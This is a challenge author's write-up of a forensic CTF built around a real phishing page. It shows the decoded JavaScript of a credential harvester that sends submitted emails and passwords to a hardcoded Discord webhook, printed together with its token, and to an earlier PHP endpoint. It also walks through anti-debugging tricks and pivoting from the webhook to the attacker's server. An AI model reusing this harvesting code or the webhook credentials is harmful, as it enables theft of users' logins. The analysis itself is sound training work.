GCTF 2025 - Case Writeup
Published on 21 min read
Updated on
In this series37 min read in total
- GCTF 2025 - Case Writeup
- Baby (VulnLab) - Complete Writeup
This article is a writeup for the “CASE” challenge I created for the GCTF 2025 Capture The Flag (CTF). This CTF was co-organized at Guardia Cybersecurity School. The challenge was based on a real-world phishing campaign I encountered while analyzing data from the security solutions at the company where I worked at the time.
The goal of the challenge was to simulate a realistic scenario involving a phishing link sent by an attacker. Participants were required to investigate and create a detailed report describing the attacker’s methodology and techniques.The CTF lasts for 5 hours. I expected them to have completed it in 2 hours
The investigation forms a chain: every element found is the key to the next step. That is what structures this writeup.
| Phase | Starting point | What it yields |
|---|---|---|
| 1 | the entry point URL | the historical exfiltration domain |
| 2 | that domain | the attacker’s infrastructure, its age, its location |
| 3 | the deobfuscated code | the current exfiltration channel, a Discord webhook |
| 4 | that webhook | the attacker’s Discord server, then the flag |
The challenge
Synopsis
Esteemed participants,
As an elite cybersecurity analyst, you are officially mandated by SOCreddine, the Chief Information Officer of GuardiaCorp, to conduct a thorough investigation into a particularly suspicious URL.
This URL has been surreptitiously disseminated within GuardiaCorp’s internal networks, raising serious concerns about its origin and potential harmful repercussions.
Be advised that this task requires specialized expertise. Discretion is essential, as GuardiaCorp’s reputation is at stake.
Time is of the essence. SOCreddine expects your detailed report as soon as possible. May your insight and ingenuity guide you in this perilous undertaking.
Entrypoint:
https://case.gctf.tech#jhubert@gmail.com
Difficulty : Easy/Medium

Scoring Criteria
Starting from the entrypoint, find the following information:
| Points | Criteria | Expected |
|---|---|---|
| 100 | Reception Server | Exfiltration endpoint previously used by the attacker to receive the data |
| 50 | Panel Identification | Full name of the panel used to deploy the template from the domain formerly used for exfiltration |
| 50 | Geographical Origin | Location of the supposed city of origin of the server previously used to exfiltrate the data |
| 150 | Initial TLS Certificate | Exact date and time of the first registration of the domain formerly used for exfiltration |
| 150 | Domain Value | Price of the domain formerly used for exfiltration on March 30, 2022 |
| 200 | New Exfiltration Endpoint | The attacker has since changed his exfiltration method. Find the new way used to exfiltrate the data. |
| 200 | Exfiltration Logic | These points will be awarded if you demonstrate in detail (from the code) how the attacker exfiltrated this data in the past and present (technical explanation of the code logic) |
| 200 | Shared Secret | A secret is hidden on the attackers’ discussion server! |
| 200 | Final Flag | Format: GCTF{C2_server_name:exfiltration_domain} Example: GCTF{Havoc:informaticien.fun} |
| 1300 | Send the report | to the email address: report@gctf.tech mentioning your team name (otherwise refused)! |
You must write a comprehensive report in your own words. It must be:
- Demonstrative: Tangible evidence for each point
- Exhaustive: Complete and detailed analysis
- Explanatory: Contextualization and ease of understanding
You will only have one submission for your report.
Important: The best report will be worth 200 additional points.
We accept submissions up to one hour before the end of the CTF, after this deadline your report will be refused. You can submit your report and get points, even if it is incomplete!
Phase 1: from obfuscated code to the first domain
Everything starts from a URL and nothing else. The page rendered in the browser teaches nothing, its source does the talking.
Identify the reception server
Points: 100
Let’s dive into the source code of the https://case.gctf.tech#jhubert@gmail.com page :
<script language=javascript>document.write(unescape('%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%20%20%20%20%3...'))</script>Which looks like a very long url encoded character chain, we can decode it with tool of your choice like cyberchief per example:

Url enconding was utilized. In the obfuscated script at the very bottom of the code, there is a comment with a POST request to a wired endpoint.

ucbank.net/love/newpost.php
Identify the panel
Points: 50
Go on the domain root : https://ucbank.net

CyberPanel
The ucbank.net domain is identified. It becomes the subject of the investigation in turn.
Phase 2: profiling the attacker’s infrastructure
Three questions arise about that domain, and all three are answered from public sources, without ever touching the server.
Geographical origin
Points: 50
- Utilize a geoIP tool with the
ucbank.netdomain:

Istanbul
The first TLS certificate
Points: 150
- With the crt.sh website you can see when TLS certificates was registered:

2018-07-27 19:32:08
The domain value
Points: 150
- Domain Price on March 30, 2022: Check historical records on Wayback Machine to ascertain the domain’s value at the given time.

280$
The historical infrastructure is mapped. What remains is where the credentials go today, and that can only be read in the code.
Phase 3: the current exfiltration channel
Find the new exfiltration endpoint
Points: 200
In the javascript part of the code (at very bottom) we see first, what look like a commented POST request to the https://ucbank.net/love/newpost.php endpoint.
(0x4c1, 0x4b5, 0x4a1, 0x4c9)] = function () { function _0x377252(_0x2000a8, _0x307650, _0x53890e, _0x21295a) { return _0x4ff03(_0x2000a8 - 0xb9, _0x2000a8, _0x53890e - 0x5b, _0x21295a - 0x36); }
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true); function _0x5efac2(_0x2a9176, _0xc58150, _0x548760, _0x43abc3) { return _0x4ff03(_0x2a9176 - 0x1c, _0xc58150, _0x548760 - 0x119, _0x548760 - -0x2a9); } _0x543aea['readyState'] === XMLHttpRequest['DONE'] && (_0x464090[_0x377252(0x50c, 0x4a1, 0x522, 0x4e5)](_0x543aea[_0x377252(0x4e2, 0x4ad, 0x4b3, 0x4e2)], 0xf * 0xff + -0x19c0 + 0x3dd * 0x3) ? _0x464090[_0x377252(0x526, 0x54d, 0x547, 0x55d)](_0x377252(0x510, 0x515, 0x569, 0x548), _0x464090['ZkWJL']) ? _0x275237[_0x377252(0x500, 0x580, 0x54d, 0x53d)]('Failed\x20to\x20' + 'send\x20messa' + _0x377252(0x51d, 0x4d7, 0x4d8, 0x4f8), _0x11c9c1[_0x377252(0x580, 0x52c, 0x563, 0x546) + 'xt']) : console[_0x5efac2(0x279, 0x2ba, 0x279, 0x2a6)](_0x377252(0x52e, 0x526, 0x525, 0x51c) + 'nt\x20success' + _0x377252(0x575, 0x596, 0x552, 0x55a)) : console[_0x377252(0x572, 0x4fa, 0x541, 0x53d)](_0x464090['Jmsnh'], _0x543aea['responseTe' + 'xt'])); }, _0x543aea['send'](JSON[_0x4ff03(0x50f, 0x500, 0x4ef, 0x4d4)](_0x2af2a6)), document[_0x1f912b(-0x1b9, -0x223, -0x205, -0x1f2) + _0x4ff03(0x517, 0x524, 0x516, 0x51e)](_0x15fe69[_0x4ff03(0x4f0, 0x549, 0x4cc, 0x50c)])[_0x1f912b(-0x192, -0x1a6, -0x1a3, -0x184)] = _0x15aa9c + (-0x7d2 + 0x15b6 * 0x1 + -0x3 * 0x4a1), document[_0x1f912b(-0x1e8, -0x1ff, -0x222, -0x1f2) + _0x4ff03(0x526, 0x55b, 0x4e3, 0x51e)](_0x15fe69[_0x1f912b(-0x1d5, -0x1cd, -0x1b6, -0x1e2)])[_0x1f912b(-0x1c8, -0x1b2, -0x159, -0x184)] = ''; });});Let’s deobfuscate it briefly as well:
We see some deadcode (certainly to make us spend more time on it on purpose) and a discord webhook structure:
12 collapsed lines
document.addEventListener("DOMContentLoaded", function () { var _0x3440d6 = { pvDVY: function (_0x1b4dad, _0x64df64) { return _0x1b4dad === _0x64df64; }, EpKBb: function (_0x36a897, _0x200699) { return _0x36a897 !== _0x200699; }, pemca: "Failed to send message:", wOkQh: 'number', VTARh: 'password' };
_0x3440d6.kwxLo = "Hacked accounts";_0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg";_0x3440d6.mIdCI = "USER BREACH DETECTED";_0x3440d6.iXaLj = "User Credentials";_0x3440d6.RaVxu = "Creds Logged";_0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif";_0x3440d6.jdzua = "POST";_0x3440d6.VXIUh = "application/json";_0x3440d6.Xmkys = "form";_0x3440d6.ZcpCw = "submit";var _0x3b333b = document.getElementById(_0x3440d6.Xmkys);_0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) { _0x338ff6.preventDefault(); var _0x15aa9c = parseInt(document.getElementById('number').value);
var _0x2af2a6 = { 'username': _0x3440d6.kwxLo, 'avatar_url': _0x3440d6.NuHmS, 'embeds': [{ 'title': _0x3440d6.mIdCI, 'description': "**Un utilisateur s'est fait PETAX!**", 'color': 0xff0000, 'fields': [{ 'name': _0x3440d6.iXaLj, 'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value, 'inline': false }], 'footer': { 'text': _0x3440d6.RaVxu, 'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg" }, 'image': { 'url': _0x3440d6.KjfIk } }] }; var _0x543aea = new XMLHttpRequest(); _0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);16 collapsed lines
_0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh); _0x543aea.onreadystatechange = function () { // xhr.open("POST", "https://ucbank.net/love/newpost.php", true); if (_0x543aea.readyState === XMLHttpRequest.DONE) { if (_0x543aea.status === 200) { console.log("Message sent successfully!"); } else { console.error("Failed to send message:", _0x543aea.responseText); } } }; _0x543aea.send(JSON.stringify(_0x2af2a6)); document.getElementById('number').value = _0x15aa9c + 1; document.getElementById('password').value = ''; });});We can clearly see that the 2 fields email and password of the form, are sent to a discord webhook for exfiltration.
Understand the code logic
Points: 200
What the f* the code does ???

Core functionality
- Credential Harvesting:
- Automatically populates an email field from the URL hash (e.g.,
example.com#victim@email.com→ email =victim@email.com) - Capturing the entered password upon form submission.
- Sending both fields to the Discord webhook via a POST request.
- Obfuscation Techniques:
- Heavy use of hexadecimal variable names (
_0x1eac,_0x1123) - String encryption/decryption routines
- Console method overwriting to hide debug logs
- Array rotation and code flow manipulation
- Heavy use of hexadecimal variable names (
Data exfiltration
xhr.open("POST", "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);Sends stolen credentials, Email: victim@example.com and Password: [user's entered password]
Deceptive UI
- Loads an iframe in the ackground matching the email domain (e.g.,
@gmail.com→https://gmail.com) - Shows fake loading screen (4-second delay)
In the code:
-
Anti-Analysis Features
Overwrites console methods to prevent debugging console.log = function(){};console.error = function(){}; -
Domain Parsing to iframe
const charactersAfter = updated_email.substring(delimiterIndex + 1);iframe.setAttribute("src", "https://" + charactersAfter);
Key points
- Use of multiple code obfuscation layers
- Hardcoded Discord webhook URL and attacker domain
- Automatic email extraction from URL fragments
- Dynamic iframe loading based on email domain
- Console method tampering
The exfiltration channel is identified. That URL is also a way in.
Phase 4: from the webhook to the attacker’s server
The shared secret
Points: 200
First some documentation on discord webhooks:
With this webhook we can post data or delete it, that is not very interesting there (or if you just want to mess up with other teams and challenge maker), there is a way to retrieve a invitation link to the discord server perhaps it needs an active discord widget configuration by the server owner):
- Submit a GET request to the webhook URL to reveal associated guild ID:
{ "application_id": null, "avatar": "1d1dc4094ab1693e3c45e674685948c5", "channel_id": "1316805941609627659", "guild_id": "1316805897082765373", "id": "1316805966146048123", "name": "Proz0X_ hacked accounts", "type": 1, "token": "WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", "url": "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI"}- Access
https://www.discord.com/api/guilds/<guild id>/widget.jsonto get the invitation link from the widget feature.
{ "id": "1316805897082765373", "name": "H3CK3Rz_", "instant_invite": "https://discord.com/invite/jZ4nUrck", "channels": [], "members": [], "presence_count": 0}- You are granted to join the server from the widget invitation link retreived.
In the server, an event is live with a message.

GCTF{P0URkw01_m377r3_Un_fl49_1C1??}
The final flag
Points: 200
In the #help channel, a user “Slap” ask for help about a strange behavior on is PC, at the end of the discussion he provide a zip file:

To gain time, we can scan this archive on an online dynamic analysis tool per ex. : Tria.ge:

Cobalt strike is the utilized C2.

Attacker exfiltration domain is: softline.top
GCTF{cobalt_strike:softline.top}
What this challenge teaches
A recap of the full chain, each line having been reachable only thanks to the previous one:
| Step | Source | Result |
|---|---|---|
| URL decoding of the page | source of the entry point | the real HTML and script |
| Reading the leftover comment | obfuscated script | ucbank.net/love/newpost.php |
| Domain root | ucbank.net | CyberPanel panel |
| IP geolocation | ucbank.net | Istanbul |
| Certificate Transparency | crt.sh | 2018-07-27 19:32:08 |
| Web archives | Wayback Machine | 280$ on March 30, 2022 |
| Deobfuscation | full script | live Discord webhook |
GET on the webhook | webhook URL | guild_id |
| Guild widget | guild_id | invitation link |
| Archive analysis | Tria.ge | Cobalt Strike, softline.top |
Three lessons stand out, and they transfer beyond CTFs.
Obfuscation slows down, it does not protect. None of the layers encountered was solid: URL encoding, hex names, rotating string array, console overwriting. Stacked, they are still enough to discourage a quick analysis, and that is precisely their purpose.
Comments and dead code are gold mines. The first domain was found in a commented-out line the attacker forgot to remove. On a real infrastructure, those leftovers are what tie a current campaign to its earlier versions.
A convenient exfiltration channel is an exposed one. The Discord webhook spared the attacker from renting a server, but its URL was a bearer secret hardcoded into a public page. Recovering it granted access to the command infrastructure, which is the exact opposite of the intended outcome.
This concludes the writeup for the “CASE” challenge at GCTF 2025. I hope you found this walkthrough insightful and helpful for tackling similar real-world scenarios in cybersecurity.
PS : Sadly, participants was like that:

0 solve, it happens sometimes, i guess.